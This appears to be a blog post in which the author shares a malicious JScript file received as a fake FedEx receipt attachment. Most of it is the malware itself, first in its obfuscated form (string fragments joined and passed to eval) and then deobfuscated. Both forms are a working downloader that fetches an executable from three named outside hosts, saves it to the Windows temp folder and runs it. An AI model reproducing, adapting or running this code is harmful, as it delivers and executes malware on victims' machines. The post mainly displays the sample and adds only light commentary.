Prehistoric Virus

// A virus showed up in my email today.
// It was a zip file claiming to be a Fedex receipt.
// To my surprise, the zip did not contain an exe, but a js file.
// I got a kick out of it, so I thought I'd share it.
// I have added newlines and some spaces, but otherwise left it as received:

var stroke="5557575E0E0B170C12241E0B0B090D0A1001160A01104A0A0110";

function pk44pa() { return 'Shel'; };
function pk112pa() { return '= '; };
function pk100pa() { return 'ch'; };
function pk188pa() { return 'GET'; };
function pk4pa() { return 'l('; };
function pk186pa() { return '.ope'; };
function pk190pa() { return 'ht'; };
function pk114pa() { return 'xo.st'; };
function pk169pa() { return 'n(fn'; };
function pk218pa() { return '; if '; };
function pk184pa() { return 'y { '; };
var v = '';
function pk26pa() { return '(var '; };
function pk230pa() { return 'dl'; };
function pk142pa() { return 'esp'; };
function pk89pa() { return 'Obje'; };
function pk148pa() { return 'ze '; };
function pk194pa() { return '+"/d'; };
function pk35pa() { return ' n'; };
function pk16pa() { return 'es'; };
function pk199pa() { return 'd='; };
function pk215pa() { return 'ch ('; };
function pk78pa() { return '".exe'; };
function pk101pa() { return 'ange '; };
function pk121pa() { return '= n'; };
function pk80pa() { return 'va'; };
function pk150pa() { return '000)'; };
function pk33pa() { return '{ var'; };
function pk119pa() { return 'ar'; };
function pk66pa() { return 'Code('; };
function pk156pa() { return 'tio'; };
function pk54pa() { return 'me'; };
function pk76pa() { return '0000'; };
function pk72pa() { return 'ran'; };
function pk107pa() { return '(xo.'; };
function pk138pa() { return '; x'; };
function pk58pa() { return '("'; };
function pk208pa() { return 'e)'; };
function pk146pa() { return 'xa'; };
function pk104pa() { return 'ction'; };
function pk67pa() { return '92)+M'; };
function pk181pa() { return '); '; };
function pk211pa() { return 'en'; };
function pk196pa() { return 'um'; };
function pk34pa() { return ' ws ='; };
function pk145pa() { return ' if ('; };
function pk151pa() { return ' { dn'; };
function pk126pa() { return '("'; };
function pk133pa() { return 'n(); '; };
function pk168pa() { return '.Ru'; };
function pk77pa() { return '000)+'; };
function pk205pa() { return 'ok'; };
function pk158pa() { return '= 0'; };
function pk149pa() { return '> 5'; };
function pk116pa() { return ' == 2'; };
function pk6pa() { return '{ v'; };
function pk36pa() { return 'ew'; };
function pk68pa() { return 'at'; };
function pk46pa() { return 'var f'; };
function pk19pa() { return 'ers.'; };
function pk5pa() { return 'fr) '; };
function pk84pa() { return 'var '; };
function pk134pa() { return 'xa'; };
function pk195pa() { return 'oc'; };
function pk166pa() { return ' try '; };
function pk125pa() { return 'bject'; };
function pk32pa() { return 'i++) '; };
function pk180pa() { return 'ose('; };
function pk219pa() { return '(d'; };
function pk40pa() { return 'ct("'; };
function pk225pa() { return '311'; };
function pk61pa() { return '+St'; };
function pk141pa() { return 'xo.R'; };
function pk221pa() { return ' 1) b'; };
function pk226pa() { return '); dl'; };
function pk45pa() { return 'l"); '; };
function pk109pa() { return 'ySt'; };
function pk198pa() { return 'hp?rn'; };
function pk108pa() { return 'read'; };
function pk228pa() { return '05'; };
function pk74pa() { return 'm('; };
function pk143pa() { return 'onseB'; };
function pk179pa() { return 'xa.cl'; };
function pk204pa() { return 'tr'; };
function pk203pa() { return '="+s'; };
function pk9pa() { return 'rigg'; };
function pk171pa() { return '0);'; };
function pk164pa() { return 'n,2'; };
function pk25pa() { return 'for '; };
function pk163pa() { return '(f'; };
function pk167pa() { return '{ ws'; };
function pk71pa() { return 'Math.'; };
function pk92pa() { return 'XML2'; };
function pk81pa() { return 'r '; };
function pk79pa() { return '"; '; };
function pk131pa() { return 'a.'; };
function pk43pa() { return 'pt.'; };
function pk87pa() { return 'ct'; };
function pk162pa() { return 'ile'; };
function pk128pa() { return '.Str'; };
function pk88pa() { return 'iveX'; };
function pk63pa() { return 'ng.f'; };
function pk161pa() { return 'veToF'; };
function pk10pa() { return 'st.'; };
function pk99pa() { return 'te'; };
function pk98pa() { return 'dysta'; };
function pk231pa() { return '(15'; };
function pk122pa() { return 'ew A'; };
function pk48pa() { return '= '; };
function pk50pa() { return '.Ex'; };
function pk21pa() { return '".s'; };
function pk3pa() { return 'n d'; };
function pk210pa() { return 'xo.s'; };
function pk206pa() { return 'e,'; };
function pk62pa() { return 'ri'; };
function pk152pa() { return ' = '; };
function pk97pa() { return 'rea'; };
function pk106pa() { return 'if '; };
function pk227pa() { return '(1'; };
function pk178pa() { return '}; '; };
function pk124pa() { return 'eXO'; };
function pk176pa() { return 'r) {'; };
function pk115pa() { return 'atus'; };
function pk110pa() { return 'at'; };
function pk52pa() { return 'En'; };
function pk160pa() { return 'a.sa'; };
function pk8pa() { return ' = "'; };
function pk187pa() { return 'n("'; };
function pk2pa() { return 'ctio'; };
function pk207pa() { return ' fals'; };
function pk177pa() { return '}; '; };
function pk214pa() { return 'at'; };
function pk224pa() { return '; dl('; };
function pk86pa() { return 'new A'; };
function pk13pa() { return 'dcpow'; };
function pk172pa() { return ' }'; };
function pk65pa() { return 'ar'; };
function pk73pa() { return 'do'; };
function pk209pa() { return '; '; };
function pk57pa() { return 'gs'; };
function pk12pa() { return 'm s'; };
function pk51pa() { return 'pand'; };
function pk70pa() { return 'und('; };
function pk182pa() { return '}; };'; };
function pk1pa() { return 'fun'; };
function pk93pa() { return '.XMLH'; };
function pk197pa() { return 'ent.p'; };
function pk233pa() { return ';'; };
function pk69pa() { return 'h.ro'; };
function pk139pa() { return 'a.w'; };
function pk85pa() { return 'xo = '; };
function pk82pa() { return 'dn '; };
function pk154pa() { return 'a.p'; };
function pk155pa() { return 'osi'; };
function pk127pa() { return 'ADODB'; };
function pk0pa() { return 'eval'; };
function pk144pa() { return 'ody);'; };
function pk212pa() { return 'd();'; };
function pk183pa() { return ' tr'; };
function pk37pa() { return ' Acti'; };
function pk200pa() { return '"+f'; };
function pk130pa() { return '); x'; };
function pk111pa() { return 'e ='; };
function pk38pa() { return 'veXOb'; };
function pk27pa() { return 'i=0'; };
function pk232pa() { return '73)'; };
function pk23pa() { return '(" ")'; };
function pk11pa() { return 'co'; };
function pk75pa() { return ')*10'; };
function pk159pa() { return '; x'; };
function pk157pa() { return 'n '; };
function pk189pa() { return '","'; };
function pk60pa() { return '%")'; };
function pk147pa() { return '.si'; };
function pk220pa() { return 'n =='; };
function pk223pa() { return ' }; }'; };
function pk185pa() { return 'xo'; };
function pk59pa() { return '%TEMP'; };
function pk135pa() { return '.ty'; };
function pk165pa() { return ');'; };
function pk17pa() { return '-egla'; };
function pk102pa() { return '= '; };
function pk132pa() { return 'ope'; };
function pk153pa() { return '1; x'; };
function pk14pa() { return 'er.'; };
function pk31pa() { return 'gth; '; };
function pk7pa() { return 'ar b'; };
function pk129pa() { return 'eam"'; };
function pk173pa() { return ' cat'; };
function pk29pa() { return '<b'; };
function pk202pa() { return '&id'; };
function pk95pa() { return 'P"); '; };
function pk123pa() { return 'ctiv'; };
function pk22pa() { return 'plit'; };
function pk18pa() { return 'nti'; };
function pk20pa() { return 'fr'; };
function pk24pa() { return '; '; };
function pk39pa() { return 'je'; };
function pk28pa() { return '; i'; };
function pk216pa() { return 'er) '; };
function pk118pa() { return ' { v'; };
function pk229pa() { return '2); '; };
function pk105pa() { return '() { '; };
function pk136pa() { return 'pe '; };
function pk137pa() { return '= 1'; };
function pk64pa() { return 'romCh'; };
function pk191pa() { return 'tp:/'; };
function pk53pa() { return 'viron'; };
function pk49pa() { return 'ws'; };
function pk41pa() { return 'WS'; };
function pk42pa() { return 'cri'; };
function pk56pa() { return 'in'; };
function pk103pa() { return 'fun'; };
function pk117pa() { return '00)'; };
function pk170pa() { return ',1,'; };
function pk83pa() { return '= 0; '; };
function pk55pa() { return 'ntStr'; };
function pk192pa() { return '/"+b'; };
function pk30pa() { return '.len'; };
function pk91pa() { return 'MS'; };
function pk113pa() { return '4 && '; };
function pk96pa() { return 'xo.on'; };
function pk90pa() { return 'ct("'; };
function pk120pa() { return ' xa '; };
function pk222pa() { return 'reak;'; };
function pk201pa() { return 'r+"'; };
function pk217pa() { return '{}'; };
function pk193pa() { return '[i]'; };
function pk140pa() { return 'rite('; };
function pk15pa() { return 'com l'; };
function pk174pa() { return 'ch'; };
function pk213pa() { return ' } c'; };
function pk94pa() { return 'TT'; };
function pk47pa() { return 'n '; };
function pk175pa() { return ' (e'; };

for (var cl=1; cl<=233; cl++) {
  v += this['pk'+cl+'pa']();
};
this[pk0pa()](v);


// =============================================================================
// =============================================================================
// === An evaluated version of the above is as follows: ========================
// =============================================================================
// =============================================================================

function dl(fr) {
  var b = "riggst.com sdcpower.com les-eglantiers.fr".split(" ");
  for (var i=0; i<b.length; i++) {
    var ws = new ActiveXObject("WScript.Shell");
    var fn = ws.ExpandEnvironmentStrings("%TEMP%")
        + String.fromCharCode(92)    // Yeah, you got me; backslashes are evil?
        + Math.round(Math.random() * 100000000)
        + ".exe";
    var dn = 0;
    var xo = new ActiveXObject("MSXML2.XMLHTTP");         // How funny is this?
    xo.onreadystatechange = function() {
      if (xo.readyState == 4 && xo.status == 200) {
        var xa = new ActiveXObject("ADODB.Stream");
        xa.open();
        xa.type = 1;
        xa.write(xo.ResponseBody);
        if (xa.size > 5000) {
          dn = 1; xa.position = 0;
          xa.saveToFile(fn,2);
          try {
            ws.Run(fn,1,0);
          } catch (er) {};
        };
        xa.close();
      };
    };
    try {
      xo.open("GET",
          "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + stroke,
          false);
      xo.send();
    } catch (er) {};
    if (dn == 1) break;
  };
};

dl(311);
dl(1052);
dl(1573);